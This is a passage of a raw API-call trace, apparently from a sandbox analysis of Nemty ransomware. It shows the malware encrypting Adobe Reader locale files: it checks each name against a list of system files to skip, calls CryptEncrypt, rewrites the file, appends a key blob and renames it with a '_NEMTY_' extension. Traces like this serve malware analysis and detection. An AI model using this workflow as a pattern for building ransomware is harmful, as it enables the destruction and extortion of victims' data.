10.0\\Reader\\Locale\\uk_UA\\IA32.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\ia32.ukr"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\IA32.UKR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\ia32.ukr._nemty_kgobjgd_")) returned 1 [0185.455] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0185.455] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0185.455] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0185.455] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0185.455] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0185.455] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0185.455] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.455] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0185.455] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db27940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x12400, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="MakeAccessible.UKR", cAlternateFileName="MAKEAC~1.UKR")) returned 1 [0185.455] lstrcmpiW (lpString1="MakeAccessible.UKR", lpString2=".") returned 1 [0185.455] lstrcmpiW (lpString1="MakeAccessible.UKR", lpString2="..") returned 1 [0185.455] lstrcmpiW (lpString1="MakeAccessible.UKR", lpString2="...") returned 1 [0185.455] lstrcmpiW (lpString1="MakeAccessible.UKR", lpString2="windows") returned -1 [0185.455] lstrcmpiW (lpString1="MakeAccessible.UKR", lpString2="$RECYCLE.BIN") returned 1 [0185.455] lstrcmpiW (lpString1="MakeAccessible.UKR", lpString2="rsa") returned -1 [0185.455] lstrcmpiW (lpString1="MakeAccessible.UKR", lpString2="NTDETECT.COM") returned -1 [0185.455] lstrcmpiW (lpString1="MakeAccessible.UKR", lpString2="ntldr") returned -1 [0185.455] lstrcmpiW (lpString1="MakeAccessible.UKR", lpString2="MSDOS.SYS") returned -1 [0185.455] lstrcmpiW (lpString1="MakeAccessible.UKR", lpString2="IO.SYS") returned 1 [0185.455] lstrcmpiW (lpString1="MakeAccessible.UKR", lpString2="boot.ini") returned 1 [0185.455] lstrcmpiW (lpString1="MakeAccessible.UKR", lpString2="boot.ini") returned 1 [0185.455] lstrcmpiW (lpString1="MakeAccessible.UKR", lpString2="AUTOEXEC.BAT") returned 1 [0185.456] lstrcmpiW (lpString1="MakeAccessible.UKR", lpString2="ntuser.dat") returned -1 [0185.456] lstrcmpiW (lpString1="MakeAccessible.UKR", lpString2="desktop.ini") returned 1 [0185.456] lstrcmpiW (lpString1="MakeAccessible.UKR", lpString2="CONFIG.SYS") returned 1 [0185.456] lstrcmpiW (lpString1="MakeAccessible.UKR", lpString2="RECYCLER") returned -1 [0185.456] lstrcmpiW (lpString1="MakeAccessible.UKR", lpString2="BOOTSECT.BAK") returned 1 [0185.456] lstrcmpiW (lpString1="MakeAccessible.UKR", lpString2="bootmgr") returned 1 [0185.456] lstrcmpiW (lpString1="MakeAccessible.UKR", lpString2="programdata") returned -1 [0185.456] lstrcmpiW (lpString1="MakeAccessible.UKR", lpString2="appdata") returned 1 [0185.456] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0185.456] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MakeAccessible.UKR", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0185.456] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.456] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MakeAccessible.UKR", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MakeAccessible.UKR", lpUsedDefaultChar=0x0) returned 18 [0185.456] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.456] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0185.456] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MakeAccessible.UKR", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0185.456] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.456] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MakeAccessible.UKR", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MakeAccessible.UKR", lpUsedDefaultChar=0x0) returned 18 [0185.456] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.456] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0185.456] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0185.456] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0185.456] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MakeAccessible.UKR", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0185.456] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.456] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MakeAccessible.UKR", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MakeAccessible.UKR", lpUsedDefaultChar=0x0) returned 18 [0185.456] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0185.456] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0185.456] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MakeAccessible.UKR", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0185.456] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.456] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MakeAccessible.UKR", cchWideChar=18, lpMultiByteStr=0x4f9ed58, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MakeAccessible.UKR", lpUsedDefaultChar=0x0) returned 18 [0185.456] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0185.456] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0185.456] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0185.457] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0185.457] Sleep (dwMilliseconds=0x5) [0185.466] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x22318010, dwHighDateTime=0x1d561e8)) [0185.466] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x22318010, dwHighDateTime=0x1d561e8)) [0185.466] GetLastError () returned 0x0 [0185.466] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0185.466] GetLastError () returned 0x0 [0185.466] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.466] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0185.466] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0185.467] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0185.467] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0185.467] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0185.467] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0185.467] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="H3b+9u365165SPwqavPJEWNevExQohY+QL9st2Ot+1aldeJLOtVHbCq2kKi01xu+\r\nv/r65jqQ0YuSmWf1q1BiocBFGNcnfCI4MxNKE9lpSmr9I+K7NjAGgr+uXh7CtZm1\r\npD0UccvQYMP+x5SNeq8Ij4R+3+dUL7PO0B0I8gGHg3lNY8b24M4TMhSs3NX/7MTN\r\nSKbvecj+Xh9zUPn5wZ34O/7kIO0a/2d8G/m0zES99VywCLrxGRfyTfut20Q76SH5\r\nxuoFoGXibWnNXtT/aW1q9lJ3RsdUj0KXzkdYX460KHDqcp9JFVroU3NVup1KUeCm\r\ng+m13Ulq8nkWMgbJojI0iA==\r\n", pcchString=0x653e5dc) returned 1 [0185.467] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0185.467] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0185.467] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0185.467] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0185.467] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0185.467] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0185.467] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\MakeAccessible.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\makeaccessible.ukr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0185.467] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=74752) returned 1 [0185.467] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x12400) returned 0x6352c48 [0185.467] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.467] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x12400, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x12400, lpOverlapped=0x0) returned 1 [0185.476] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.476] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x12400, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x12400, lpOverlapped=0x0) returned 1 [0185.476] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0185.476] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=74752, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x12400 [0185.476] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0185.476] CloseHandle (hObject=0x2e8) returned 1 [0185.476] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0185.476] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0185.476] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0185.476] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0185.476] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0185.476] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0185.476] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340308 [0185.476] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403c0 [0185.476] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0185.477] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0185.477] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\MakeAccessible.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\makeaccessible.ukr"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\MakeAccessible.UKR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\makeaccessible.ukr._nemty_kgobjgd_")) returned 1 [0185.477] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403c0 | out: hHeap=0x4f90000) returned 1 [0185.477] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0185.477] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0185.477] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0185.477] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0185.477] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0185.477] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.477] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0185.477] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.477] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.477] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d795840, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Multimedia.UKR", cAlternateFileName="MULTIM~1.UKR")) returned 1 [0185.477] lstrcmpiW (lpString1="Multimedia.UKR", lpString2=".") returned 1 [0185.477] lstrcmpiW (lpString1="Multimedia.UKR", lpString2="..") returned 1 [0185.477] lstrcmpiW (lpString1="Multimedia.UKR", lpString2="...") returned 1 [0185.477] lstrcmpiW (lpString1="Multimedia.UKR", lpString2="windows") returned -1 [0185.477] lstrcmpiW (lpString1="Multimedia.UKR", lpString2="$RECYCLE.BIN") returned 1 [0185.478] lstrcmpiW (lpString1="Multimedia.UKR", lpString2="rsa") returned -1 [0185.478] lstrcmpiW (lpString1="Multimedia.UKR", lpString2="NTDETECT.COM") returned -1 [0185.478] lstrcmpiW (lpString1="Multimedia.UKR", lpString2="ntldr") returned -1 [0185.478] lstrcmpiW (lpString1="Multimedia.UKR", lpString2="MSDOS.SYS") returned 1 [0185.478] lstrcmpiW (lpString1="Multimedia.UKR", lpString2="IO.SYS") returned 1 [0185.478] lstrcmpiW (lpString1="Multimedia.UKR", lpString2="boot.ini") returned 1 [0185.478] lstrcmpiW (lpString1="Multimedia.UKR", lpString2="boot.ini") returned 1 [0185.478] lstrcmpiW (lpString1="Multimedia.UKR", lpString2="AUTOEXEC.BAT") returned 1 [0185.478] lstrcmpiW (lpString1="Multimedia.UKR", lpString2="ntuser.dat") returned -1 [0185.478] lstrcmpiW (lpString1="Multimedia.UKR", lpString2="desktop.ini") returned 1 [0185.478] lstrcmpiW (lpString1="Multimedia.UKR", lpString2="CONFIG.SYS") returned 1 [0185.478] lstrcmpiW (lpString1="Multimedia.UKR", lpString2="RECYCLER") returned -1 [0185.478] lstrcmpiW (lpString1="Multimedia.UKR", lpString2="BOOTSECT.BAK") returned 1 [0185.478] lstrcmpiW (lpString1="Multimedia.UKR", lpString2="bootmgr") returned 1 [0185.478] lstrcmpiW (lpString1="Multimedia.UKR", lpString2="programdata") returned -1 [0185.478] lstrcmpiW (lpString1="Multimedia.UKR", lpString2="appdata") returned 1 [0185.478] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.478] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.UKR", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0185.478] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.UKR", cchWideChar=14, lpMultiByteStr=0x653e890, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.UKR", lpUsedDefaultChar=0x0) returned 14 [0185.478] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.478] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.UKR", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0185.478] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.UKR", cchWideChar=14, lpMultiByteStr=0x653e890, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.UKR", lpUsedDefaultChar=0x0) returned 14 [0185.478] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.478] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.478] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.478] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.UKR", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0185.478] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.UKR", cchWideChar=14, lpMultiByteStr=0x653e8e0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.UKR", lpUsedDefaultChar=0x0) returned 14 [0185.478] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.478] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.478] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.UKR", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0185.478] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.UKR", cchWideChar=14, lpMultiByteStr=0x653e918, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.UKR", lpUsedDefaultChar=0x0) returned 14 [0185.478] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.478] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0185.478] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0185.479] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0185.479] Sleep (dwMilliseconds=0x5) [0185.482] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x2233e170, dwHighDateTime=0x1d561e8)) [0185.482] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x2233e170, dwHighDateTime=0x1d561e8)) [0185.482] GetLastError () returned 0x0 [0185.482] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0185.482] GetLastError () returned 0x0 [0185.482] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.482] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0185.482] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.482] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0185.482] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0185.482] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0185.482] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0185.482] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="/0StzoNG0oAFjFP9ZEFqSVHCvtul1Qv9Bzhb2JOHqyGg3hzE9BF7waW+NWqpyn1x\r\nSXUAKynTg+RFZKAdN6e1vPKetk8+eMU+5y8yBqhYKAQVqGR7EXQSjyHu1HbJ/nIY\r\nn4QxbxycL+oBxZ4fTxiobjmIoeVaIN8WyCKHRnm1fNn9eY0Kz7HDnfrHYZHOW25Z\r\nMKAeOkowIDwg0oMNNppVU5M6Kmd7Ih/BDg8l8YgBLHSgDppB+PEe3w+Ibb4zJC/J\r\ntPq6BdOKlPlWCDGUvsANqv/G7V5PsYcKXoLAAxekKcaDNi37Z4djHht2zfLe3E21\r\nKg2gM4oijxrHNuudxzFRrg==\r\n", pcchString=0x653e5dc) returned 1 [0185.482] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0185.482] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0185.482] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.482] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0185.482] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0185.482] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0185.483] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Multimedia.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\multimedia.ukr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0185.483] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=80384) returned 1 [0185.483] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x13a00) returned 0x6352c48 [0185.483] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.483] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x13a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x13a00, lpOverlapped=0x0) returned 1 [0185.490] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.490] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, 